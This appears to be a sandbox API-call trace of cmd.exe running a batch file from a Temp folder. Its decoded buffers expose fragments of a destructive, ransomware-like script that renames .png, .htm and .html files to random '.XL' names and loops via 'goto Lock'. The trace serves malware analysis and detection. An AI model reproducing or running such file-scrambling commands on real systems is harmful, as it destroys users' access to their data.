hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0040.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.108] GetFileType (hFile=0x74) returned 0x1 [0040.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0040.108] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=3478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0040.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0040.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0040.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.108] GetFileType (hFile=0x74) returned 0x1 [0040.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0040.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=3489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0040.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0040.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0040.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.109] GetFileType (hFile=0x74) returned 0x1 [0040.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0040.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=3491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0040.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0040.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.109] GetFileType (hFile=0x74) returned 0x1 [0040.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0040.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=3497, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0040.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0040.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0040.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.110] GetFileType (hFile=0x74) returned 0x1 [0040.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0040.110] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=3499, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0040.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0040.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0040.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.110] GetFileType (hFile=0x74) returned 0x1 [0040.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0040.110] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=3525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0040.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0040.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0040.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.111] GetFileType (hFile=0x74) returned 0x1 [0040.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0040.111] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=3536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0040.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0040.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0040.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.111] GetFileType (hFile=0x74) returned 0x1 [0040.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0040.111] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=3538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0040.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0040.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.112] GetFileType (hFile=0x74) returned 0x1 [0040.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0040.112] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=3545, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0040.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0040.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0040.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.112] GetFileType (hFile=0x74) returned 0x1 [0040.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0040.112] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=3547, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0040.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0040.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0040.113] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.113] GetFileType (hFile=0x74) returned 0x1 [0040.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0040.113] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=3574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0040.113] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0040.113] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0040.113] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.113] GetFileType (hFile=0x74) returned 0x1 [0040.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0040.113] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0040.113] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0040.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0040.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.114] GetFileType (hFile=0x74) returned 0x1 [0040.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0040.114] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=3589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0040.114] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l\r\n Lock\r\n") returned 4 [0040.114] _close (_FileHandle=3) returned 0 [0040.114] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.114] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.115] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.115] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.115] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.115] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.116] SetConsoleInputExeNameW () returned 0x1 [0040.116] GetConsoleOutputCP () returned 0x1b5 [0040.116] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.116] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.116] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.116] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=3589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0040.116] GetProcessHeap () returned 0x4e0000 [0040.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.116] GetProcessHeap () returned 0x4e0000 [0040.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4560 | out: hHeap=0x4e0000) returned 1 [0040.116] GetProcessHeap () returned 0x4e0000 [0040.116] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4548 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27c0 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4530 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.117] GetProcessHeap () returned 0x4e0000 [0040.117] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0040.117] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1828, lpOverlapped=0x0) returned 1 [0040.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=3595, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0040.118] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="cd..\r\n EXIST *.gif goto l\r\n\r\n") returned 6 [0040.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.118] GetFileType (hFile=0x74) returned 0x1 [0040.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0040.118] GetProcessHeap () returned 0x4e0000 [0040.118] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.118] GetProcessHeap () returned 0x4e0000 [0040.118] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.118] _tell (_FileHandle=3) returned 3595 [0040.118] _close (_FileHandle=3) returned 0 [0040.119] _wcsicmp (_String1="cd..", _String2="DIR") returned -1 [0040.119] _wcsicmp (_String1="cd..", _String2="ERASE") returned -2 [0040.119] _wcsicmp (_String1="cd..", _String2="DEL") returned -1 [0040.119] _wcsicmp (_String1="cd..", _String2="TYPE") returned -17 [0040.119] _wcsicmp (_String1="cd..", _String2="COPY") returned -11 [0040.119] _wcsicmp (_String1="cd..", _String2="CD") returned 46 [0040.119] _wcsicmp (_String1="cd..", _String2="CHDIR") returned -4 [0040.119] _wcsicmp (_String1="cd..", _String2="RENAME") returned -15 [0040.119] _wcsicmp (_String1="cd..", _String2="REN") returned -15 [0040.119] _wcsicmp (_String1="cd..", _String2="ECHO") returned -2 [0040.119] _wcsicmp (_String1="cd..", _String2="SET") returned -16 [0040.119] _wcsicmp (_String1="cd..", _String2="PAUSE") returned -13 [0040.119] _wcsicmp (_String1="cd..", _String2="DATE") returned -1 [0040.119] _wcsicmp (_String1="cd..", _String2="TIME") returned -17 [0040.119] _wcsicmp (_String1="cd..", _String2="PROMPT") returned -13 [0040.119] _wcsicmp (_String1="cd..", _String2="MD") returned -10 [0040.119] _wcsicmp (_String1="cd..", _String2="MKDIR") returned -10 [0040.119] _wcsicmp (_String1="cd..", _String2="RD") returned -15 [0040.119] _wcsicmp (_String1="cd..", _String2="RMDIR") returned -15 [0040.119] _wcsicmp (_String1="cd..", _String2="PATH") returned -13 [0040.119] _wcsicmp (_String1="cd..", _String2="GOTO") returned -4 [0040.119] _wcsicmp (_String1="cd..", _String2="SHIFT") returned -16 [0040.119] _wcsicmp (_String1="cd..", _String2="CLS") returned -8 [0040.119] _wcsicmp (_String1="cd..", _String2="CALL") returned 3 [0040.119] _wcsicmp (_String1="cd..", _String2="VERIFY") returned -19 [0040.119] _wcsicmp (_String1="cd..", _String2="VER") returned -19 [0040.120] _wcsicmp (_String1="cd..", _String2="VOL") returned -19 [0040.120] _wcsicmp (_String1="cd..", _String2="EXIT") returned -2 [0040.120] _wcsicmp (_String1="cd..", _String2="SETLOCAL") returned -16 [0040.120] _wcsicmp (_String1="cd..", _String2="ENDLOCAL") returned -2 [0040.120] _wcsicmp (_String1="cd..", _String2="TITLE") returned -17 [0040.120] _wcsicmp (_String1="cd..", _String2="START") returned -16 [0040.120] _wcsicmp (_String1="cd..", _String2="DPATH") returned -1 [0040.120] _wcsicmp (_String1="cd..", _String2="KEYS") returned -8 [0040.120] _wcsicmp (_String1="cd..", _String2="MOVE") returned -10 [0040.120] _wcsicmp (_String1="cd..", _String2="PUSHD") returned -13 [0040.120] _wcsicmp (_String1="cd..", _String2="POPD") returned -13 [0040.120] _wcsicmp (_String1="cd..", _String2="ASSOC") returned 2 [0040.120] _wcsicmp (_String1="cd..", _String2="FTYPE") returned -3 [0040.120] _wcsicmp (_String1="cd..", _String2="BREAK") returned 1 [0040.120] _wcsicmp (_String1="cd..", _String2="COLOR") returned -11 [0040.120] _wcsicmp (_String1="cd..", _String2="MKLINK") returned -10 [0040.120] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4f2348, lpFilePart=0x41f338 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x41f338*="Downloads") returned 0x27 [0040.120] SetErrorMode (uMode=0x0) returned 0x1 [0040.120] GetProcessHeap () returned 0x4e0000 [0040.120] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f2340, Size=0x62) returned 0x4f2340 [0040.120] GetProcessHeap () returned 0x4e0000 [0040.120] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f2340) returned 0x62 [0040.120] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0040.120] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0040.121] GetProcessHeap () returned 0x4e0000 [0040.121] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x124) returned 0x4e2700 [0040.121] GetProcessHeap () returned 0x4e0000 [0040.121] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x240) returned 0x4f23b0 [0040.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.121] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.121] GetLastError () returned 0x2 [0040.121] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.121] GetLastError () returned 0x2 [0040.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.121] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.122] GetLastError () returned 0x2 [0040.122] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.122] GetLastError () returned 0x2 [0040.122] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.122] FindFirstFileExW (in: lpFileName="C:\\Windows\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.122] GetLastError () returned 0x2 [0040.122] FindFirstFileExW (in: lpFileName="C:\\Windows\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.122] GetLastError () returned 0x2 [0040.122] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.123] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.124] GetLastError () returned 0x2 [0040.124] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 